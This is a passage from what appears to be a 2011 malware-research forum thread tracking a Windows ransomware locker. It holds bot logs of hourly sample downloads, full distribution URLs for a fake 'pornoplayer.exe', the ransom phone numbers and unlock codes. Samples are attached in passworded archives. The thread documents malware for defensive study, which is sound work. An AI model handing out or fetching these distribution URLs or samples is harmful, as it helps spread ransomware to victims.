06/04/2011 - 17:21:00 - 6F0041B3530164E5EAECB6ABFE643822_pornoplayer.exe.ViR
06/04/2011 - 18:21:09 - 4AD8C87986A4B468D0E15E4A1F5E0D40_pornoplayer.exe.ViR
06/04/2011 - 19:21:12 - E86F4ACC97BFC2AC022E751CA588CD59_pornoplayer.exe.ViR
06/04/2011 - 20:21:05 - F667DCC52615C83C22C0C0EB625C0DDF_pornoplayer.exe.ViR
06/04/2011 - 21:21:08 - DA37AFE332A35D2CDAF969664DC0EC67_pornoplayer.exe.ViR
06/04/2011 - 22:21:15 - 3D86EB1211EB9DA54403DD8777207698_pornoplayer.exe.ViR
06/04/2011 - 23:21:14 - 09B0869FE5ED46CECD3762455E012861_pornoplayer.exe.ViR
07/04/2011 - 00:21:14 - FF9341ABEB65A6E1085E85A6807463AB_pornoplayer.exe.ViR
07/04/2011 - 01:21:15 - AE83CC3A7B574513F5CFDBAC820948A1_pornoplayer.exe.ViR
07/04/2011 - 02:21:15 - AD2C5555427AE93AE7D3CAD8FD8DB99D_pornoplayer.exe.ViR
07/04/2011 - 03:21:16 - 838C6FACECC17D15B213662259E8491B_pornoplayer.exe.ViR
07/04/2011 - 04:21:15 - E5FAE36975BB3E9AA9695F05F1F787C2_pornoplayer.exe.ViR
07/04/2011 - 05:21:15 - 16F3AB0E07F8036DD5528C4A372ACD61_pornoplayer.exe.ViR
07/04/2011 - 06:21:15 - CB0DDDA703426D6478F52C9C5CF9AC18_pornoplayer.exe.ViR
07/04/2011 - 07:21:15 - 1A0E9E6CED3EB503204F4BD427F811D0_pornoplayer.exe.ViR
07/04/2011 - 08:21:15 - B3516A3C69111364BE0B2C2053AD17A7_pornoplayer.exe.ViR
07/04/2011 - 09:21:16 - 3D583978D1E77E0DED89E580015BFE6E_pornoplayer.exe.ViR
07/04/2011 - 10:21:17 - 601838A536B49F712EAEBDEA01B4A484_pornoplayer.exe.ViR
07/04/2011 - 11:21:22 - 3165F74A52FEDE281AE5660A57B4393D_pornoplayer.exe.ViR
07/04/2011 - 12:21:24 - 46ABCAA2D0158A04AB27897594BBFCAD_pornoplayer.exe.ViR
07/04/2011 - 13:21:24 - 601A256D49AAB3D3852448C55E64D632_pornoplayer.exe.ViR
07/04/2011 - 14:21:25 - 79FB109B64B7CFC01F3F8065563D4D81_pornoplayer.exe.ViR
07/04/2011 - 15:21:25 - 64EFC1485B4AB07A6532B62D2FB735D1_pornoplayer.exe.ViR
07/04/2011 - 16:21:37 -  Timeout: http://incestporevoxxx.info/92rxw6e4bre92i6lt7x9m9gvk9m3vafe/pornoplayer.exe
07/04/2011 - 17:21:38 -  Timeout: http://incestporevoxxx.info/92rxw6e4bre92i6lt7x9m9gvk9m3vafe/pornoplayer.exe
07/04/2011 - 18:21:43 -  Timeout: http://incestporevoxxx.info/92rxw6e4bre92i6lt7x9m9gvk9m3vafe/pornoplayer.exe
07/04/2011 - 19:21:43 -  Timeout: http://incestporevoxxx.info/92rxw6e4bre92i6lt7x9m9gvk9m3vafe/pornoplayer.exe
07/04/2011 - 20:21:58 -  Timeout: http://incestporevoxxx.info/92rxw6e4bre92i6lt7x9m9gvk9m3vafe/pornoplayer.exe
07/04/2011 - 21:22:02 -  Timeout: http://incestporevoxxx.info/92rxw6e4bre92i6lt7x9m9gvk9m3vafe/pornoplayer.exe
07/04/2011 - 22:22:04 -  Timeout: http://incestporevoxxx.info/92rxw6e4bre92i6lt7x9m9gvk9m3vafe/pornoplayer.exe
07/04/2011 - 23:22:14 -  Timeout: http://incestporevoxxx.info/92rxw6e4bre92i6lt7x9m9gvk9m3vafe/pornoplayer.exe
08/04/2011 - 00:22:15 -  Timeout: http://incestporevoxxx.info/92rxw6e4bre92i6lt7x9m9gvk9m3vafe/pornoplayer.exe
08/04/2011 - 01:22:16 -  Timeout: http://incestporevoxxx.info/92rxw6e4bre92i6lt7x9m9gvk9m3vafe/pornoplayer.exe
08/04/2011 - 02:22:31 -  Timeout: http://incestporevoxxx.info/92rxw6e4bre92i6lt7x9m9gvk9m3vafe/pornoplayer.exe
I will stop to run my bot 24h/24 7j/7 for the moment...electric bill become high.
Attachments
See archive comment for password
(2.49 MiB) Downloaded 44 times
See archive comment for password
(4.8 MiB) Downloaded 45 times
See archive comment for password
(4.81 MiB) Downloaded 46 times

Re: Trojan.Winlock - WinAD

 #5895  by Xylitol
 Mon Apr 11, 2011 1:13 am
Homoblocker domains are down, any new one ?

Image
Code: Select all
08/04/2011 - 14:39:27 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
08/04/2011 - 15:39:28 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
08/04/2011 - 16:39:32 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
08/04/2011 - 17:39:30 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
08/04/2011 - 18:39:58 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
08/04/2011 - 19:39:58 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
08/04/2011 - 20:40:29 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
08/04/2011 - 21:40:32 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
08/04/2011 - 22:41:23 -  Timeout: http://porevomaloletkibesplatno.info/bhp1/pornoplayer.exe
08/04/2011 - 23:41:10 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
09/04/2011 - 00:41:15 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
09/04/2011 - 01:42:18 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
09/04/2011 - 02:42:33 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
09/04/2011 - 03:42:37 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
09/04/2011 - 04:42:41 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
09/04/2011 - 05:42:41 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
09/04/2011 - 06:42:42 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
09/04/2011 - 07:42:41 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
09/04/2011 - 08:42:42 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
09/04/2011 - 09:42:43 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
09/04/2011 - 10:42:42 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
09/04/2011 - 11:42:43 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
09/04/2011 - 12:42:48 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
09/04/2011 - 13:42:52 - 07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
09/04/2011 - 14:42:58 -  Timeout: http://porevomaloletkibesplatno.info/bhp1/pornoplayer.exe
09/04/2011 - 15:42:51 - 833617F6B3BED6DADDA70A46D4022CF4_pornoplayer.exe.ViR
09/04/2011 - 16:43:00 - 833617F6B3BED6DADDA70A46D4022CF4_pornoplayer.exe.ViR
09/04/2011 - 17:43:08 - 833617F6B3BED6DADDA70A46D4022CF4_pornoplayer.exe.ViR
09/04/2011 - 18:43:11 - 833617F6B3BED6DADDA70A46D4022CF4_pornoplayer.exe.ViR
09/04/2011 - 19:43:43 -  Timeout: http://porevomaloletkibesplatno.info/bhp1/pornoplayer.exe
09/04/2011 - 20:43:53 - 833617F6B3BED6DADDA70A46D4022CF4_pornoplayer.exe.ViR
09/04/2011 - 21:43:49 - 833617F6B3BED6DADDA70A46D4022CF4_pornoplayer.exe.ViR
10/04/2011 - 02:46:50 - AC7673A3E9EB053F0F27C92F449A35FA_pornoplayer.exe.ViR
10/04/2011 - 03:47:04 -  Timeout: http://porevomaloletkibesplatno.info/bhp1/pornoplayer.exe
10/04/2011 - 04:46:55 - AC7673A3E9EB053F0F27C92F449A35FA_pornoplayer.exe.ViR
10/04/2011 - 05:46:51 - AC7673A3E9EB053F0F27C92F449A35FA_pornoplayer.exe.ViR
10/04/2011 - 06:46:51 - AC7673A3E9EB053F0F27C92F449A35FA_pornoplayer.exe.ViR
10/04/2011 - 07:46:51 - AC7673A3E9EB053F0F27C92F449A35FA_pornoplayer.exe.ViR
10/04/2011 - 08:46:51 - AC7673A3E9EB053F0F27C92F449A35FA_pornoplayer.exe.ViR
10/04/2011 - 09:47:03 - AC7673A3E9EB053F0F27C92F449A35FA_pornoplayer.exe.ViR
10/04/2011 - 10:47:00 - 80E6A9CDE7A2C32E48418D776D778F05_pornoplayer.exe.ViR
10/04/2011 - 11:47:02 - 80E6A9CDE7A2C32E48418D776D778F05_pornoplayer.exe.ViR
10/04/2011 - 12:47:03 - 80E6A9CDE7A2C32E48418D776D778F05_pornoplayer.exe.ViR
10/04/2011 - 13:47:04 - 80E6A9CDE7A2C32E48418D776D778F05_pornoplayer.exe.ViR
10/04/2011 - 16:21:33 - 80E6A9CDE7A2C32E48418D776D778F05_pornoplayer.exe.ViR
10/04/2011 - 17:21:48 -  Timeout: http://porevomaloletkibesplatno.info/bhp1/pornoplayer.exe
10/04/2011 - 18:21:53 -  Timeout: http://porevomaloletkibesplatno.info/bhp1/pornoplayer.exe
10/04/2011 - 19:21:54 -  Timeout: http://porevomaloletkibesplatno.info/bhp1/pornoplayer.exe
10/04/2011 - 20:21:56 -  Timeout: http://porevomaloletkibesplatno.info/bhp1/pornoplayer.exe
10/04/2011 - 21:21:59 -  Timeout: http://porevomaloletkibesplatno.info/bhp1/pornoplayer.exe
10/04/2011 - 22:22:03 -  Timeout: http://porevomaloletkibesplatno.info/bhp1/pornoplayer.exe
10/04/2011 - 23:22:05 -  Timeout: http://porevomaloletkibesplatno.info/bhp1/pornoplayer.exe
11/04/2011 - 00:22:07 -  Timeout: http://porevomaloletkibesplatno.info/bhp1/pornoplayer.exe
11/04/2011 - 01:22:12 -  Timeout: http://porevomaloletkibesplatno.info/bhp1/pornoplayer.exe
11/04/2011 - 02:22:15 -  Timeout: http://porevomaloletkibesplatno.info/bhp1/pornoplayer.exe
Attachments
See archive comment for password ~
07393C44631E02225368C7E256580130_pornoplayer.exe.ViR
07393C44631E02225368C7E256580130_pornoplayer.exe_PAYLOAD_1222023005.EXE.ViR
833617F6B3BED6DADDA70A46D4022CF4_pornoplayer.exe.ViR
833617F6B3BED6DADDA70A46D4022CF4_pornoplayer.exe_PAYLOAD_3165715731.EXE.ViR
AC7673A3E9EB053F0F27C92F449A35FA_pornoplayer.exe.ViR
AC7673A3E9EB053F0F27C92F449A35FA_pornoplayer.exe_PAYLOAD_278985897.EXE.ViR
80E6A9CDE7A2C32E48418D776D778F05_pornoplayer.exe.ViR
80E6A9CDE7A2C32E48418D776D778F05_pornoplayer.exe_PAYLOAD_112703641.EXE.ViR
(839.51 KiB) Downloaded 53 times

Re: Trojan.Winlock - WinAD

 #5930  by Xylitol
 Thu Apr 14, 2011 11:25 am
Image

Image
Code: Select all
Number to Call: 9688919806
Code to unlock Windows: MUSTGO
https://www.virustotal.com/file-scan/re ... 1302774097

Image

Image

Image

Image

Image

Image

Image
Attachments
See archive comment for password
(35.29 KiB) Downloaded 45 times

Re: Trojan.Winlock - WinAD

 #5934  by Xylitol
 Thu Apr 14, 2011 8:36 pm
Fun fact: The sample of 20:27:52 (GMT+1) was updated, price of the ransomware now: 500 + Sample repacked: According to VirusTotal the malware is detected by 2 Antivirus: http://www.virustotal.com/file-scan/rep ... 1302809383 (Before: 4 av)

Image

same number to call, same unlock code as my previous post.
Attachments
See archive comment for password
(33.51 KiB) Downloaded 47 times

Re: Trojan.Winlock - WinAD

 #6087  by Xylitol
 Fri Apr 29, 2011 6:34 pm
domains are shutdown
Code: Select all
Number to Call: 9688919810
Number to Call: 9688919834
Number to Call: 9670958242
Number to Call: 9637734657
Number to Call: 9637734662
Number to Call: 9670964990
Number to Call: 9688920521
Number to Call: 9670696367
Number to Call: 9688919817
Code to unlock Windows: MUSTDIE
Attachments
See archive comment for password
(426.32 KiB) Downloaded 41 times
  • 1
  • 7
  • 8
  • 9
  • 10
  • 11
  • 17
 Return to “Malware”